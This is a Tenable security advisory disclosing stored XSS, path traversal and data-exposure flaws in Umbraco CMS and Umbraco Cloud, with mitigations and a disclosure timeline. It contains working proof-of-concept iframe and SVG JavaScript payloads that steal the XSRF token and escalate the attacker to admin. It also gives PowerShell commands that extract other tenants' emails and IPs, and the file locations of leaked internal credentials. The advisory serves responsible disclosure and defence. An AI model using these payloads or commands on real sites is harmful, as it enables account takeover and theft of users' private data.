Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Umbraco Cloud CMS Multiple Vulnerabilities



Tenable Research discovered multiple vulnerabilities in both Umbraco CMS and the Umbraco Cloud CMS platform resulting in a number of cross-site scripting (XSS) vulnerabilities, and the potential disclosure of sensitive internal credentials and user PII.

Umbraco CMS

Authenticated stored XSS via iframes in rich-text content editor - CVE-2020-5809

A stored XSS vulnerability exists in Umbraco CMS. An authenticated user can inject arbitrary JavaScript code into iframes when editing content using the TinyMCE rich-text editor, as TinyMCE is configured to allow iframes by default in Umbraco CMS.

Proof of Concept
Placing the following payload in an otherwise benign/normal content update will result in an attempt to escalate the attacker's user id to the admin group (which, if triggered by an admin will succeed). Once a user is an admin, they could potentially install a malicious umbraco package and gain remote code execution.

<iframe srcdoc="<script> var xhr = new XMLHttpRequest();xhr.open('POST', '/umbraco/backoffice/UmbracoApi/Users/PostSetUserGroupsOnUsers?userGroupAliases=writer&userGroupAliases=admin&userIds=<attackerId>', true);xhr.setRequestHeader('X-UMB-XSRF-TOKEN', document.cookie.match(/UMB-XSRF-TOKEN=[^;]+/g)[0].split('=')[1]);xhr.send();</script>" width="0" height="0"></iframe>

Authenticated stored XSS via uploaded .svg files in media - CVE-2020-5810

A stored XSS vulnerability exists in Umbraco CMS. An authenticated user authorized to upload media can upload a malicious .svg file which act as a stored XSS payload.

If an attacker convinces another user to follow the direct link to that svg file (http://<umbracosite>/media/xyz/attack.svg), the attacker will be able to execute javascript in the context of the victim’s browser.

Proof of Concept

The following, saved as and uploaded as a .svg file will act as a stored XSS payload. If triggered by an admin, it will add the attacker's userid to the admin group.

<svg version="1.1" width="200" height="200" xmlns="http://www.w3.org/2000/svg">
   <script type="text/javascript">
      var xhr = new XMLHttpRequest();
xhr.open('POST', '/umbraco/backoffice/UmbracoApi/Users/PostSetUserGroupsOnUsers?userGroupAliases=writer&amp;userGroupAliases=admin&amp;userIds=<attackerId>', true);
xhr.setRequestHeader('X-UMB-XSRF-TOKEN', document.cookie.match(/UMB-XSRF-TOKEN=[^;]+/g)[0].split('=')[1]);

Path traversal and arbitrary file write during package installation CVE-2020-5811

An authenticated path traversal vulnerability exists during package installation in Umbraco CMS, which could result in arbitrary files being written outside of the site home and expected paths when installing an Umbraco package.

When installing a package, files in the <files> section of the package.xml can be given an orgPath which is outside of the site's home directory (either using a relative or absolute path), allowing an attacker to craft a malicious package which could write an arbitrary file to anywhere the service account/user running the web server has permissions. 

While understandable given it is an administrative feature, a package which places a file outside of the site home will then refuse to be uninstalled, as the uninstallation process does check that the files are within the site home (unlike the installation process).

Umbraco Cloud CMS Platform

The Umbraco Cloud CMS platform offers users access to both their Umbraco CMS instance, as well as Powershell / console access (via Kudu tools) to the underlying Azure Windows Server instance on which the CMS is hosted.

The Windows Server instances are multi-tenant, meaning that multiple users' individual Umbraco Cloud CMS sites are hosted per server, with each having its own unique site name / id. The CMS and Kudu Tools are running as low-privileged IIS Application Pool Identities, however they still had access to potentially sensitive files and Windows event logs containing other users' usernames/emails and IP addresses.

Disclosure of usernames/emails corresponding to site name / id via Concorde.Messaging.ServiceRelay-Log

Using powershell via Kudu on scm.s1.umbraco.io, Umbraco Cloud users can potentially disclose other users’ emails (and the individual site name they belong to) by parsing the Concorde.Messaging.ServiceRelay-Log event logs.

The usernames are disclosed as a result of the emails being used as the filename for the backoffice .courier files.

Proof of Concept

get-eventlog -logname Concorde* -message "*backoffice\users*" -Newest 5 | format-list -property message

Example Output

The following is a small relevant section of an event message containing the sensitive info. The site name and git commit hashes have been removed, and the username has been changed to [email protected] (corresponding to the _user_tenable.com.courier).

[Thread 46] - CopyAndCommitHandler: Website '<site name/id>', Branch 'master (refs/heads/master)' - Commit 
Commit Result: Files committed to 'master (refs/heads/master)' in 'C:\DWASFiles\Sites\<site name/id>\VirtualDirectory0\site\repository' because Success.
IsCurrentRepositoryHead? True (Checkout master-branch?False) 
Current Revision: <some commit>, Previous Revision: <some commit>. 
Files: C:\DWASFiles\Sites\<site name/id>VirtualDirectory0\site\repository\data\backoffice\users\_user_tenable.com.courier

Disclosure of user IPs (and usernames/emails), site domain name and site name/id via Application event log

Due to .NET errors on the individual hosted Umbraco Cloud sites being logged in the Application event log, it is possible to see user IP addresses which were accessing the sites when the error occurred, the unique site name / id, and the domain name at which the site is hosted.

Additionally, if the user was an authenticated user / admin, it will show their username/email.

Proof of Concept

get-eventlog -logname Application -message "*Request URL*" -Newest 5 | format-list -property message

Or, if specifically looking for any authenticated usernames/IPs:

get-eventlog -logname Application -message "*authenticated: True*" -Newest 5 | format-list -property message

Example Output

The following is a small relevant section of the event message, with the site domain name and site name/id removed, and the username/email changed.

Request information:
              Request URL: https://<domain_name.tld>:443/umbraco/backoffice/UmbracoApi/Macro/GetMacroResultAsHtmlForEditor
              Request path: 
              User host address: <IP Address>
              User: [email protected]
              Is authenticated: True
              Authentication Type: UmbracoBackOffice
              Thread account name: IIS 
          APPPOOL\<site name/id>

Disclosure of internal Umbraco ElasticSearch credentials

As a result of users having access to files outside of their site homes / local directories, it is possible for users to download Concorde.Messaging.ServiceRelay.exe from C:\Deployments\MessagingService\deployments\. This contains static credentials for an Umbraco Elasticsearch instance.

You can then use a tool like dnSpy tool to read the .NET code.

The credentials, as well as the corresponding elasticsearch uri, are located in the SetupElasticsearchClient method, in the Service class under Concorde.Messaging.ServiceRelay.

ElasticSearch Connection Settings

Disclosure of internal Umbraco Slack User Token

The file C:\KuduService\artifacts\logcommits\LogGitCommits.exe.config contained a slack username and token which could be used to access the internal Umbraco Slack.

Umbraco Slack Token


Umbraco CMS Vulnerabilities:

Currently no fixes have been release for these vulnerabilities. Default Umbraco instances are still vulnerable.
Admins of Umbraco sites can mitigate CVE-2020-5809 and CVE-2020-5810 via configuration files.

CVE-2020-5809: Remove iframe[*] from validElements in tinyMceConfig.config 

CVE-2020-5810: Add svg to the list of disallowedUploadFiles in umbracoSettings.config

Umbraco Cloud Platform:

Umbraco has updated the permissions on sensitive files and event logs to restrict access, and removed sensitive information from those still accessible.

Disclosure Timeline

9/25/2020 - Vulnerabilities Discovered
9/30/2020 - Tenable sends vulnerability report to Umbraco.
10/02/2020 - Umbraco acknowledges, and indicates that issues are being investigated.
10/06/2020 - Umbraco notifies Tenable that the issues are being addressed.
10/14/2020 - Umbraco notifies Tenable that fixes have been pushed
10/14/2020 - Tenable notes a workaround for one of the issues, informs Umbraco.
10/19/2020 - Umbraco notifies Tenable that workaround is also being addressed.
10/20/2020 - Umbraco informs Tenable that the workaround has been addressed.
12/30/2020 - Advisory updated with CMS vulnerabilities on 90 day disclosure date

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now
Tenable.io FREE FOR 30 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now
Try for Free Buy Now

Try Nessus Professional Free


Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year. Full details here.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try for Free Buy Now

Try Tenable.io Web Application Scanning


Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.



Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security


Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Try for Free Contact Sales

Try Tenable Lumin


Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.